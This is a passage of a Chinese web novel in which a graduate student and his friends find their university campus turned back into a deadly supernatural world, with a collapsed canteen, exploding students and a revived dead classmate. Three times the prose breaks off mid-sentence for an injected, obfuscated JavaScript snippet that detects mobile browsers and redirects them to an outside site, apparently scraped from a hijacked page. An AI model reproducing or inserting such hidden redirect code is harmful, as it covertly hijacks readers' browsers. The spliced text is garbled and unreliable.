元祁又揉了揉眼睛:“啊……丹丹、就我女朋友刚跟我分手了……其实早几天就分了,只是我这不是刚醒过来嘛,才看到她的消息……我打电话去找她,她新男朋友都找好了……”眼看是又要哭。 蔚迟心说我就多余问,道:“抱歉。” “你抱歉什么呀?”元祁豪迈地擤了一把鼻涕,耸耸肩膀,“都差点死过一次了……这又没什么的。” 蔚迟点点头,问:“找我做什么?” 元祁:“就想请你吃个饭,感谢一下啊,要是没有你,我都凉透了。” 蔚迟沉吟了一会儿,道:“也不一定。” 元祁:“什么意思?” 蔚迟:“我是说,在那个世界死了,现实中不一定会死……我前两天跟我导师去做个演讲,还遇到许白诗刘琴他们了。” 元祁:“她们怎么样?” 蔚迟:“应该是没有那段记忆,其余的……一切正常。” 蔚远:“嗯,目前确实没有任何伤亡报告,医院里也一切正常。” “可是……”元祁是差点在那里面死掉的人,死亡的那种寒意似乎还留在骨血里,而且他这会儿刚醒过来,大概还有些混乱,“那……那到底是怎么回事?蔚远跟我说那恐怖的三天在现实中就是一瞬间的事,如果只是一个人的话,还可以说是什么午后发梦……可为什么我们三个都有相同的记忆?” 这也是蔚迟一直想不通的地方。 如果说是自己在机缘巧合间窥见了什么平行时空的经历,难道元祁和蔚远也这么机缘巧合了吗?如果只有他和蔚远的话,还可能说他们蔚家最近出了点什么邪门的事,可还有个素未谋面的元祁…… 蔚远打破沉默:“算了吧!别想了!反正都过去了!来来来吃菜吃菜!” 他们吃的涮锅,蔚迟来之前就下了一些菜,现在差不多可以吃了。 蔚远举起杯子:“来,庆祝咱三劫后余生!” 元祁也举起来:“那不管怎么样,还是要谢谢迟哥的。” 蔚远:“我你就不谢啦?” 元祁:“谢谢谢!” 蔚迟跟他们碰了一个。 之后三个人又聊了一会儿天,有蔚远在那一定是不怕冷场的,他甚至还能开得起那个恐怖世界的玩笑,把一些会留下心理阴影的场景都讲得好笑起来。 元祁现在基本属于刚从那里出来的状态,和蔚迟刚出来的时候也差不多,还有点战战兢兢的——这一点上蔚迟还是佩服蔚远,出来以后根本不需要恢复期,不愧是脑壳空空的大心脏。蔚迟隔着腾腾的白气,眼看着元祁在这个热闹而平和的现实世界中渐渐柔软下来,有些走神,想起那时候一直陪着自己的纪惊蛰。 这时他手机响起来,头像一只微笑的柴,是纪惊蛰的语音电话。 蔚迟接起电话,纪惊蛰那头有点嘈杂:“喂?迟迟啊?在哪儿呢?” 那消失的五年在蔚迟这里还没过去,对纪惊蛰不说寒冰般冷酷,多少有点爱答不理的,纪惊蛰还在施行他的缠功。 研究生的课业不轻松,蔚迟很多时间都在实验室,而纪惊蛰也挺忙,毕竟三青大学刚搞起个“酿酒学”的新专业,纪惊蛰作为初创班底,这几天一直在跑手续。两个人虽然已经住在一个宿舍,这几天基本也没有时间见面,交流还是靠纪惊蛰一天几百条的微信。 蔚迟现在心情还成,声音柔和了一些:“在外面吃饭。” 纪惊蛰:“哪儿呢?要我来接你不?” 他们坐在窗边,蔚迟看了看外面,天色已经暗下来,整体呈现一种静谧的深蓝。街面上出现了许多小吃车,不甚规整地沿街摆了两排,摊主红红火火地叫卖着,很多学生停下来买吃的,小车棚上的吊灯发出橘黄色的温暖灯光。 蔚迟说:“在小吃街。” 纪惊蛰说:“我来了!” 挂完电话,蔚远装作不经意地道:“嫂子要来找你?” 蔚迟反应了一会儿,才意识到蔚远是在跟自己说话,实在是没有明白:“什么?” 蔚远:“你别不好意思啦,啥时候带回家看看,爷爷保准得高兴死啦!他老人家老念叨你,学习嘛学习得不错,对象嘛对象的不找,该着急啦!” 蔚迟根本不晓得他在唱哪一出:“你神经病啊?” 蔚远:“那你刚在跟谁打电话?” 蔚迟:“纪惊蛰啊。” “矮婆娘?”蔚远被辣椒呛了一口,咳了半天,一时间数个念头挤进脑海,又想问那你怎么用那种表情跟他打电话,又想起几年前蔚迟疯狂找纪惊蛰时候的狼狈样——他从来没有看到他哥那么狼狈过——最终还是他哥醉酒后的狼狈画面在他拥挤的脑子里占据了上风……毕竟他哥那时候咬牙切齿的表情实在是太像要把纪惊蛰灭口了,结果这才几天,就能这么心平气和了?枉他还为纪惊蛰的生命安全担忧过……最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350163|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终问出口的问题就变成了:“……你就这么原谅他啦?” 蔚迟一言难尽地看着他,没有回答他的问题,只是说:“你还是别叫他矮婆娘了。” 蔚远觉得他哥没救了:“你还护着他?” “不是。”蔚迟上下打量他几眼,蔚迟的表情一直不丰富,这几眼平静而冷淡,可他就是看出了几分鄙夷的味道,接着又听他哥道,“我是为你着想……毕竟围观群众又不瞎。” 蔚迟又被呛了一回。 元祁不知道是什么情况,但看到蔚远吃瘪,非常开心地哈哈哈。 本来也快吃完了,结账出去后纪惊蛰刚到。他这回没像上回那样打扮得像个模特,只是普通的卫衣牛仔裤,脸被小吃摊的灯火照亮了一半,清新得还像个少年。 他见到蔚迟,眼睛一亮,笑起来叫“迟迟”。 蔚迟觉得他笑得很像他头像上的那只柴,不自觉地也跟着笑了一下。 元祁跟在蔚迟后面,被纪惊蛰招摇的长相晃到了,回头去问蔚远:“你怎么有脸叫人家‘矮婆娘’?” “他以前就是矮啊!”蔚远没好气,“吃激素窜这么高的!” 元祁真诚发问:“你咋不吃?” 蔚远:“……” 蔚远开了车来,送元祁走了,纪惊蛰和蔚迟步行回学校。 大概是这几天跑手续跑累了,纪惊蛰少有地没有叽叽喳喳。两个人肩并肩地沉默着往前走,穿过灯光热闹的长街,蔚迟感到了久违的平静,想起他们高中后面也有这样的一条小街,晚自习放学之后纪惊蛰跟他一起回家,会缠着他说:“哥哥,我要吃糖油果子。” 那时候纪惊蛰多乖啊。 “迟迟,我要吃糖油果子。” 蔚迟侧过头,看到纪惊蛰一脸期待的样子——不知道是记忆的问题还是怎样,那表情居然能和五年之前如出一辙——回道:“那你买啊。” 纪惊蛰撒娇:“要你买给我……” 蔚迟被恶心得不行:“自己没钱啊?” “我的钱都是你的呀……”纪惊蛰一点脸不要,开始晃他的袖子,“哥哥……” 蔚迟感觉从他们旁边路过的两个女孩子的眼神,听到她们小声而雀跃地说“好萌”。 蔚迟简直丢不起这个人,想早走早了,认怂:“买买买。” 纪惊蛰开心死了,蹬鼻子上脸:“谢谢哥哥!” 周迎春的排班表周日才下来,说是周三能有空,蔚迟就提前跟导师请好假,把周三空了出来。他打电话的时候纪惊蛰正好在旁边听了一耳朵,也死缠烂打着要去。蔚迟懒得和他闹,去去呗。两人商量了一下,决定周二下午去采购点野餐的东西,晚上回家住,周三一大早开车走。 也许是因为有了安排,使人在这两天总觉得有什么事,变得都敏感了一点。 周二一早,蔚迟觉得闹钟简直响得震耳欲聋,好像全世界的闹钟都同时响了。 他暴躁地摸过手机,一看,7:00。 连学校的钟楼都在鸣钟,一般这摆设只有开学典礼、毕业典礼或者运动会这种时候才会响。 孙永坐起来暗灭自己的闹钟,他每天打游戏打到很晚,不记得自己什么时候设置的这个点的闹钟,又听到钟楼的鸣钟声,有点懵逼地问:“今天学校有什么活动吗?” “没听说。”蔚迟翻个身准备再睡十分钟,“可能放错了吧。” 22. 三青大学3 蔚迟又赖了二十多分钟的床,收到纪惊蛰短信,叫蔚迟顺路把书架上的资料捎过去,晚一点他去拿。 酿酒学的新教学楼在学校很偏僻的一个角落,离宿舍楼相当远,而蔚迟的生物实验楼恰好在两者中间。纪惊蛰还没有胆子叫蔚迟直接给他送过去,只让蔚迟带到生物楼去。 蔚迟今天的课题进程完成得挺早,培养皿里的反应大概要48小时后才能观测到,他看了看时间,还不到十一点,决定发发善心,亲自给纪惊蛰送过去。 他给纪惊蛰发了消息,想扫个共享单车,但不知道是今天风大还是怎么的,网络非常不稳定,老连不上,他最后还是找了辆没锁的车骑过去的。 酿酒学的教学区是由一栋老校区红砖房改造来的,离主教学楼非常遥远,之前长时间荒废。过去唯一的道路是一条长长的林荫道,就这条道单靠脚走得走上二十多分钟。 盛春时节,杨絮飞扬在空气里,太阳光斑落了一路,蔚迟觉得心情不错,开始期待明天的郊游。 红砖房在这层层掩映的绿意中渐渐显出真身,不得不说,还颇有几分遗世独立的感觉。 这片校区的改造进行得无声无息,蔚迟今天也是改造完成后第一次过来。 颇有年岁的爬山虎长出新绿,蜿蜒地攀援在红砖上。楼房之前塌掉了一半,便就着断口用钢结构框架续接起来,撑起了一片透明的屋顶和墙壁,改造得那一部分仿佛是一座晶莹剔透的小温室。 纪惊蛰就坐在那小温室里,周围全是精致茂盛的绿植,翘着二郎腿,把椅子跷成一个斜角,在玩手机。旁边是一只精致的小茶几,上面有一整套精致的茶具。 蔚迟走过去,敲了敲小温室的玻璃墙。 纪惊蛰看到他,笑了一下,给他指了个方向,他绕过去,通过一扇挂着碧绿色贝壳风铃的小门,一路沿着狭窄而曲折的小路走进去,两旁都是绿植和盛放的花卉。纪惊蛰还坐在那张藤椅上等他,二郎腿不跷了,欠兮兮地张开手要抱抱,笑得见牙不见眼:“迟迟,亲亲……” 蔚迟把带来的资料拍在他的胸上,啧道:“真腐败。” “哪有!”纪惊蛰委屈极了,“我这可是从大洋彼岸为祖国带回来的真经,要培养优秀的新时代酿酒人才,首先要为他们创造出优雅而怡人的环境,培养他们的审美、陶冶他们的情操……” 蔚迟一路念书念上来的,不懂什么审美、情操,不知道这门在这片土地上既无传统又无需求的专业开来有什么用,但好歹没说出口,又环顾了一圈,看到隐藏在阴凉处的酒柜和调酒台,有心要再验验纪惊蛰,便说:“你调一杯给我尝尝?” 纪惊蛰嫌弃地看他一眼:“咱这是酿酒学不是调酒学,想学调酒出南校门右转护城河边酒吧一条街。” 蔚迟:“你再瞅?” 纪惊蛰立马变怂,嘤嘤嘤地从凳子上跳起来,把蔚迟按上去坐着,然后行云流水地洗杯泡茶倒茶再把杯子举到蔚迟嘴边:“迟迟,尝尝!正宗的云南金瓜!” 蔚迟还想骂他,迎面闻了一鼻子茶香,很难形容那是种什么香味,香得质朴又离奇,叫蔚迟把到嘴边的话都忘了个一干二净。蔚迟不懂茶,也不爱茶,但这不妨碍他清楚地意识到,这是好茶。没忍住,喝了一口,咂咂嘴,又喝了一口。 纪惊蛰笑得眼睛都不见了:“好喝吧?” 蔚迟:“哼。”又倒了一杯。 喝了一会儿茶,两个人的手机忽然同时响起来。仔细一听,学校的钟楼似乎也在同时鸣钟。 蔚迟把手机掏出来一看,是十二点整的闹钟。 他不记得自己设过这个时间的闹钟。 纪惊蛰倒是很淡定地把闹钟关了,道:“十二点了,吃饭去吧。” 两人肩并肩走过酿酒学教学楼连接外面的唯一那条林荫道,步行去食堂。 春风和煦,杨树叶在风中翻动,阳光落于地面形成破碎的光斑。 蔚迟又想到了高中那条林荫道,他和纪惊蛰在那条道上来来回回走了三年。纪惊蛰消失之后,他还是时常梦见那条林荫道,在梦里那条路长得仿佛没有尽头,怎么跑也跑不到出口。 纪惊蛰忽然说:“迟迟,我很想你。” 声音很小,像要散在春风里。 蔚迟喉咙动了动,没搭腔。 走到食堂的时候已经快到一点,蔚迟正在脑海里盘算等会儿去哪个窗口,纪惊蛰忽然跟犯了神经病一样:“迟迟,我想吃火锅。” 蔚迟:“现在?” 纪惊蛰:“昂。” 蔚迟:“你有病?” 纪惊蛰:“迟迟……” 蔚迟:“闭嘴。” 纪惊蛰:“可是人家想吃嘛……” 蔚迟感觉自己额角青筋都在跳:“去哪儿吃?” 纪惊蛰:“胖姐吧!” 蔚迟:“怎么去?” 纪惊蛰:“胖姐有点远啊……开车去吧?” 蔚迟:“车呢?” 纪惊蛰:“我停在我们学院楼……” 蔚迟忍无可忍,一拳揍在纪惊蛰的肩膀上:“我们刚从你学院楼走过来!” 纪惊蛰:“可人家忽然想吃了嘛……” 蔚迟气得不想理他,径直往里走,纪惊蛰一把抓住了他的手腕,一张哭哭脸:“迟迟……迟哥……人家……” “哟,蔚迟!”旁边忽然有人叫了一声。 蔚迟和纪惊蛰都循声望去,只见一个眉清目秀的中长发男生正要进食堂。蔚迟认得他,是隔壁实验室的研究生,叫杨可,学术能力一般,但gay得坦坦荡荡,传言和他们那个地中海导师有点不清不楚的关系,不过蔚迟也不在意这些。 蔚迟点了点头,打招呼:“杨可。” 杨可看了看他身后的纪惊蛰,又看了看纪惊蛰拽着他手腕的手,促狭地朝他挤了挤眼睛:“你朋友真帅。” 蔚迟客气道:“谢谢。” 杨可又留下一句:“回头一起玩啊。”就走了,走之前还朝纪惊蛰抛了个媚眼。 蔚迟一回头看到纪惊蛰还在盯着杨可的背影看,心头窜起一股无名火:“还看?” “没看没看!”纪惊蛰秒变哭哭脸,拽着他的手腕摇,“迟迟、迟哥、哥哥,火锅……” 蔚迟狂甩他的手,没甩开,又不想跟他在食堂门口拉拉扯扯的丢人现眼,只得妥协,丢一串车钥匙在他身上:“我车停在北门口,麻溜儿滚!” 纪惊蛰得寸进尺,直接抱住他的胳膊,一副要哭天抢地的架势:“我不要一个人去!” 蔚迟真想照着他的鼻梁上来一下,边想边被他拖走了。那混账一边拖他还要一边兴高采烈地小声喊:“火锅火锅火锅!” 食堂离北门很近,不到五分钟就能看到大门。 蔚迟眯起眼睛看了看,觉得不太对劲。 只见北门口挤了不少人,也不知道发生了什么事。两人走近,纪惊蛰便问了一个挤后面的人:“同学,这是怎么回事?” 那人说:“不知道啊,好像不能进出了。” 有几个排在前面的人退了出来,纪惊蛰又抓了一个来问,那人说好像是外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350164|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在施工,北门关闭。 蔚迟看了纪惊蛰一眼,心说这总该死心了吧?趁人不备,把手抽了出来,往回走:“快让我吃饭去,饿死了。” 纪惊蛰跟上他,还没说话,只听不远处传来一声巨响,连地面都在震动。 那动静之大,仿佛是什么地下的巨大实验室爆炸了一样,所有人都朝发出声音的方向看。 纪惊蛰忽然朝那个方向跑了过去。 蔚迟不明就里,下意识跟上他。 到达事发地,蔚迟只感觉心跳如雷,后背发冷。 食堂塌了。 如果他刚刚进去吃了午饭…… 周围的人都惊恐万状,铅灰色的废墟中,能隐约看到不少残肢和血迹,还有被埋在下面的活人发出的凄厉哭嚎。就在他们不远处正有个男生被埋了一半,哭得那叫一个惨绝人寰,他的朋友正在想办法抬起压在他腰上的水泥柱。 纪惊蛰和蔚迟冲过去帮忙,几个男生合力把那根柱子抬起了一点,被救出来的男生下半身已经血肉模糊。 看到这个惨状,有两个人直接冲到一边开始吐。蔚迟双手抬着伤员,没空手,只能喊着旁边的一个人:“快打120啊!” 旁边又有人在喊:“老师呢?老师呢?给他辅导员打电话!” 几人七手八脚地把伤员抬到离废墟有一段距离的空地上,兵荒马乱间,有人在说:“电话打不通!”又有人在回:“可能电缆被拉断了,你站远一点去打!” 这时全校广播响起:“因为北区出现紧急情况,现在请所有同学移步最近的操场!学校需要进行应急处理工作!再重复一遍!因为北区出现紧急情况,现在请所有同学移步最近的操场!学校需要进行应急处理工作!” 这一边,有人搬来了话剧社的宣传板当担架床,伤员的几个朋友商量着先把伤员抬去医务室。有个哭得眼睛通红的女孩子匆匆忙忙地跟纪惊蛰和蔚迟道谢,然后跟着那伙人匆匆走了,估计是伤员的女朋友。 蔚迟又看了一眼尚有惨叫声绕梁的废墟,也没什么办法,只能等专业的救援队来,便跟着人流朝北区操场集合。离操场越近人越多,到操场的时候他甚至和纪惊蛰走散了,不过没走多远就遇到了室友孙永,后来又遇到了高求索。 主席台上有学生会的人在主持大局,拿着个高音喇叭吼得声嘶力竭,意思大概传达到了:按宿舍楼号点名。 三清大学在校生三万余人,现在在校的至少两万,分到各个操场都有三四千人,点名着实是个浩大的工程。 这个名从两点点到六点半,期间蔚迟一直在留意,但并没有找到纪惊蛰。 完成点名后,所有人还又被多留了半个多小时,时钟指向七点整,钟楼忽然又开始鸣钟。 同时,全操场的手机都响了起来,各种各样的闹铃声各显神通,所有人都在掏手机,场面一团混乱。 孙永捂着被震得发疼的耳膜,抱怨道:“今天到底是怎么了?” 这时全校广播道:“宿舍灯亮了的同学就可以回去了。” 这个要求着实有点诡异,但蔚迟还是下意识地抬头去找自己的宿舍。 他们的13号宿舍楼就在北区操场旁边,这时可以直接看到。高求索最先找到他们宿舍的位置,道:“我们可以回去了。” 随后蔚迟也找到了207的位置,的确如高求索所说,他们宿舍的灯已经亮了。他叫上孙永,正要和高求索一起往回走,最后又看了那个窗户一眼。 这一次他看到有个人影在207里晃了一下,然后把灯关了。 23. 三青大学4 蔚迟拉住高求索和孙永:“等等。” 孙永问:“怎么了?” 蔚迟:“灯没亮。” 高求索对自己的眼力和记忆力有百分百的信心:“不可能,我确定灯亮了。”说完又抬头去确认,发现灯的确没亮,而这种时候,学霸依然不会怀疑自己,笃定道,“我不可能看错,是谁关了?” 孙永道:“哎哟,多大个事儿啊?没亮就没亮呗,学校说灯亮了才能回你就真等它亮啊?蔚迟你什么时候变得这么听话了?” 蔚迟坚持道:“再等等。” 他的表情非常严肃,另两人也就没有再说什么,站在他的身边等。 操场上的人渐渐涌入宿舍楼,又等了一会儿,纪惊蛰逆着人流出来了,找到蔚迟他们,提议道:“今天吃食堂太晦气了,咱们出去吃饭吧。” 孙永却惦记着晚上还有车队开黑,想点外卖。 蔚迟看了纪惊蛰一眼,但纪惊蛰并没有提出异议,还凑过去跟孙永一起看美团。 结果没网,美团也刷不出来。 孙永又尝试链接校园网,也失败了,很烦躁:“操,这破网。” 纪惊蛰两手一摊:“别懒了,还是撸串去吧。 蔚迟心头那种不安越来越强烈。 纪惊蛰说了中午的事,因为施工今天北门关闭,几人便往东门走。 高求索和孙永在前,蔚迟和纪惊蛰落在后面。 等差出一段距离,蔚迟挨近纪惊蛰,小声问:“你为什么关灯?” 纪惊蛰瞄了他一眼,装傻:“关啥灯?” 蔚迟不知道他为什么这种事都还要说谎,脸一下子拉老长,气得胸口都有点发疼:“我看到是你。” 纪惊蛰大概也被他的表情和语气吓到了,犹豫了一下,说:“那我说了,你别被吓到。” 蔚迟:“说。” 纪惊蛰:“我看到杨可了。” “杨可?”就是今天中午他们在食堂见到的那个长发男生,蔚迟没想到纪惊蛰记得这个名字,“你认识他?” 纪惊蛰:“不认识啊,不是今天中午你叫的吗?” 蔚迟:“见到他怎么了?” “他明明……”纪惊蛰看了看周围,确认没人听到,小声说,“已经死了啊。” 杨可今天的确是在他们之前进了食堂,那个时间也的确可能就在食堂里,但是…… 蔚迟:“也许他有什么事忽然离开了,所以没有……” “我在废墟下面看到他了。”纪惊蛰说,“鹅黄T恤、古驰包、烟栗色系头发,胸都被砸塌半截……不会错的。” 蔚迟张了张嘴,一时也不知道该说什么:“可……” 纪惊蛰:“就算他没死,至少重伤,但刚刚我在宿舍看到他……还穿着这一身衣服,身上一点伤也没有。” 蔚迟想了一会儿,问:“他做什么了?” 纪惊蛰:“我看到他回宿舍,把他们宿舍的灯打开了。” 蔚迟下意识咽了咽口水。 纪惊蛰继续道:“我想一个死人开的灯……总归不是什么好事……” 蔚迟想象了一下,又咽了咽口水。 纪惊蛰顺势揽了他一下,道:“别怕啊迟迟。” 蔚迟一脚踩在他的白色球鞋上:“我怕个鬼!” 说话间人已经走到学校最外围,隔着铁栏杆就是外面的街道。 蔚迟盯着地上一片圆形叶片,忽然入了神。 很小的一片叶子,边角有点泛黄,有一半被踩过,印着半个鞋印。 他抬起头,看向栏杆外面的人行道。 干干净净。 旁边的灌木丛一阵响动,“警长”伸着懒腰钻出来——此猫通体乌黑、体型健硕、毛发蓬松,乃是三青大学校园里的一霸。平日里神出鬼没,最喜欢在数学楼天台上晒太阳。 只见它懒洋洋地走过人行道,跳上台阶、走上草坪,来到栏杆边—— 搁在平时,它大概一秒都不到就能从栏杆中间钻出去。 蔚迟的心跟着提了起来。 却见警长忽然顿住了脚步,瞳孔缩成一条竖线,懒洋洋的眼睛刹那间变得警惕而危险。 “瞄——” 它仿佛看到了什么不可战胜的敌人,后背弓起,尾巴竖直,浑身的毛像刺猬一样炸开,冲着栏杆外的街道好一阵凶神恶煞的咆哮。 随即夹着尾巴转身跑了。 蔚迟感觉从头凉到了脚。 他又看了看栏杆外的街道,一片那种落叶都没有,而一墙之隔的校园里面,却散落了不少。 这原本不是什么大事,也许是外面街道的清洁工勤奋,早已把人行道打扫干净,但是…… 那种感觉强烈地跳动起来,再也无法忽视。 有个声音在他耳边大声而连续地叫嚣—— 又回来了。 那个恐怖的世界。 又回来了。 “蔚迟!” 他回过神来,看到纪惊蛰近在咫尺的脸。纪惊蛰正握着他的肩膀,试图和他说话。 他的脑子顿时清醒了几分,同时又更恐慌了几分…… ——纪惊蛰也在这里。 ——也在这个恐怖世界里。 “不、不、不要这样……” “不要怎样?”纪惊蛰的手从他的肩膀滑下,握住了他的手,用了点力,握得他有点疼。他下意识抬起头,撞进纪惊蛰的眼睛里。纪惊蛰的瞳色很浅,在春日夕阳下流淌着蜂蜜一般的色泽,仿佛洞明一切,又仿佛天真无邪。他听到纪惊蛰说:“迟迟,别怕。” 于是他真的没有那么怕了,但惊惧仍在:“不你不明白……” 纪惊蛰又捏了捏他的手:“不管怎么样,都别怕。” 蔚迟闭上眼睛,能听到自己的心跳。 他不知道自己怎么了,在市二院的时候也没有这么怕的。 纪惊蛰又叫了他一声:“蔚迟。” 他呼出一口气,终于冷静下来:“嗯。” “卧槽。”走在前面的孙永道,“什么情况?” 几人循声望去,只见前方不远处的东校门挤着一堆人,跟北校门情况一样。 高求索和孙永走过去问了,蔚迟没走太近,他心里对现在的情况已经有了基本的猜想。 过了一会儿,高、孙二人回来,讲说因为学校食堂发生的事故不排除人为破坏,现在全校封闭调查,学校不能出入。 蔚迟心说果然,想了想,问:“谁说的?” 孙永不明所以:“那些同学说的啊。” 蔚迟:“最开始是谁说的?保安在吗?拉警戒线没有?有没有官方通知?” 高求索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350165|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“没有看到保安。” “老师呢?” 孙永摇摇头:“没有老师。” 蔚迟又回忆了一遍今天发生的事情,道:“我们去医务室看看。” 医务室有不少人在,包括蔚迟他们今天中午帮着抬出来的那个伤员,还有一些受伤的同学,但是校医不在。 蔚迟他们走到那群有过一面之缘的人面前,询问了一下情况。 那个被压了半截的伤员叫刘知远,一直在哭的是他女朋友顾佳佳。刘知远的伤很重,已经陷入昏迷,顾佳佳说,电话打不通,校门不能出,校医找不到,老师也联系不上。刘知远的伤口还是医学院的学长帮忙处理的,但他的伤势太重了,药品也不够,情况非常不乐观。 “知远要是出了什么事……”顾佳佳双眼通红,咬牙切齿,“学校必须负责任!” 大家对学校的做法非常不满,就算是要封闭调查,至少先把伤员送出去。刘知远另外的同伴义愤填膺地叫着“这不是要他死在这里吗”,有人还在愤怒地写抗议大字报。据说已经派了两个人翻/墙出去求救了,但人现在还没回来。 蔚迟心中一凝,想到了在市二医院门口/爆炸的FILA男,问道:“什么时候去的?” 顾佳佳跟旁边的另一个男生对视了一眼,又想了想,说:“至少两个小时了吧……”说了又转头去问其他人,“他们去了那么久怎么还没回来?” 纪惊蛰问:“去哪儿了?” 另一个人说:“紫水晶花园后面,有座假山,可以踩着翻出去。” 蔚迟他们决定去紫水晶花园看看。 一路上蔚迟非常沉默,在脑海中整理目前的情况。 孙永和高求索都想问他什么,看到他的表情,最后还是没问,都默默跟在后面。 紫水晶花园位于学校东北角,距离校医院步行时间不超过十分钟。 蔚迟他们很快到了目的地,找到了花园后面的假山。假山后面是一面水泥灰墙,没有灯光。现在已经过了八点,天色完全暗了下来。蔚迟打开手电筒一照—— 满墙的血。 刺目的红色是从墙壁上缘爆炸开来的形状,有几条比较集中的血迹从最上边淌到最下边。 “卧槽!”孙永吓得往后猛退,然后又更大声地叫,“卧槽!” 他踩到了一个人。 场面一时相当安静,没有一个人说话,三五秒后,蔚迟先上去查看:“还活着。” 几个人合力把那人叫醒,那人醒过来先愣了一会儿,然后开始指着那面灰墙尖叫。 蔚迟在这人高亢的惨叫声中确认了这个事实——没有侥幸,这里的确是他曾经历过一次的那种离奇世界。 等这人冷静下来,不叫了,又开始哭。他说他和室友一起来翻/墙,平时都是自己先翻,但今天自己的鞋带散了,蹲下来系的功夫,室友就先他一步爬了上去,然后就在他面前爆炸了。 再之后他就吓晕了。 送这人回去的路上蔚迟他们还遇到了杨可,是在一处拐角撞上的,避无可避。 鹅黄T恤、古驰包、烟栗色系头发。就是他今天白天穿的那一身衣服。 他看起来相当正常,脸色、神情都与常人无异常,撞见熟人,还很俏皮地歪了歪头,人畜无害地看着蔚迟,问道:“你们怎么还不回宿舍?” 24. 三青大学5 杨可:“你们怎么还不回宿舍?” 孙永是商学院的交际小王子,跟杨可有过几面之缘,很自然地回道:“这不是折腾了一下午呢嘛?找点东西吃,马上就回了。” 杨可说:“我宿舍有方便面,需要的话你们可以来拿。” 孙永:“成,我本来也和邓欢约了打牌呢,晚点找你们去。”邓欢是杨可宿舍的另一个室友,跟孙永同班。 “行啊,有空一起来玩。”杨可撩了撩头发,掀起薄薄的眼皮看了纪惊蛰一眼,“帅哥也一起来呗。” 纪惊蛰用肩膀撞了蔚迟一下,道:“我听我领导的。” 几个人都转头去看蔚迟,但蔚迟没反应,他一直在观察杨可。 杨可朝蔚迟笑笑:“不好意思啊,不知道名草有主了。” 蔚迟也笑了一下,道:“没关系。你俩应该还没见过面吧?介绍一下,这是纪惊蛰。” 杨可朝纪惊蛰伸手:“你好啊帅哥,初次见面,我叫杨可,白杨的杨,可乐的可。” 纪惊蛰转头去问蔚迟:“领导,我可以握吗?” 蔚迟明显感觉到其他几个人看他的眼神有了点变化,嘴角抽了抽,道:“可以。” 纪惊蛰才和杨可握了握手。 杨可又和孙永聊了几句,摆摆手先走了,走之前还又给纪惊蛰抛了个媚眼。 等杨可走远了,孙永左边拍了拍蔚迟的肩膀道:“兄弟,可以啊。”右边拍了拍纪惊蛰的肩膀道:“兄弟,听话啊。” 纪惊蛰还挺骄傲:“那可不?” 蔚迟冷冷道:“我要说他不是人了,你还笑得出来吗?” 孙永没明白,但还是听得脊背一寒:“什么?” 蔚迟看了一眼跟在他们后面刚刚吓昏了的那哥们儿,对孙永道:“回头再说。” 有过市二院里带张宇凡和李夏的经历,蔚迟是决计不会冒险再带个不稳定因素了。这哥们儿自从醒过来就脸色惨白、战战兢兢,一副随时可能再晕的鬼样子,实在不是心理素质够硬孺子可教的类型。蔚迟自己保命都够呛,哪里有功夫管他,又不是做慈善的。 几人把那哥们儿送回医务室他朋友那里,因为刘知远心跳停了,现场正在做急救,场面非常混乱。 蔚迟找到了坐在旁边哭的顾佳佳,跟她说:“你们今天最好别回宿舍,也别开灯。” 不过顾佳佳哭得上气不接下气,也不知道听进去没有。 离开医务室后,高求索道:“那咱们快点回去吧,快洗不上澡了。” 蔚迟看了他一眼,说:“咱们今天都别回宿舍。” 高求索:“为什么?我今天还有一万字的论文任务。” 孙永插嘴道:“蔚迟,到底是怎么回事?” 蔚迟沉吟片刻,说:“我知道这听起来很荒谬,你们试着接受一下……其实我在大概一周以前,遇到过一次跟现在类似的情况……” 然后他简洁地把市二院遇到的事情讲了一遍。 等他讲完,孙永的表情相当空白:“这……” 高求索倒是面色不变:“确实相当荒谬。” 蔚迟:“目前相似的情况有——与外界断联、无法出入、爆炸的人、死而复生者……” 孙永:“什么死而复生者?” 蔚迟:“杨可。” 孙永吞了吞口水:“什么?” 纪惊蛰道:“我在食堂看到他的尸体了。” 孙永:“什么?!” 蔚迟:“我没有看到,所以我不能确定他死了,但我刚刚试了他——他中午其实就见过纪惊蛰,但刚刚他认为自己第一次跟纪惊蛰见面,所以,可以肯定的是,他已经不是中午我们遇见过的杨可了。” 众人沉默了一段时间。 高求索道:“蔚迟,故事很精彩,但我要回去写我的论文了。” 蔚迟知道高求索是个什么程度的轴人,但念在此人与自己好歹有一年多的室友交情,又不是张宇凡这一款容易坏事的人,能拉一把还是想拉一把,道:“你怎么解释那个爆了一墙的兄弟?” 高求索:“也许是红油漆。” 蔚迟:“那么大的血味你没闻到?” 高求索:“那也许是鸡血。” 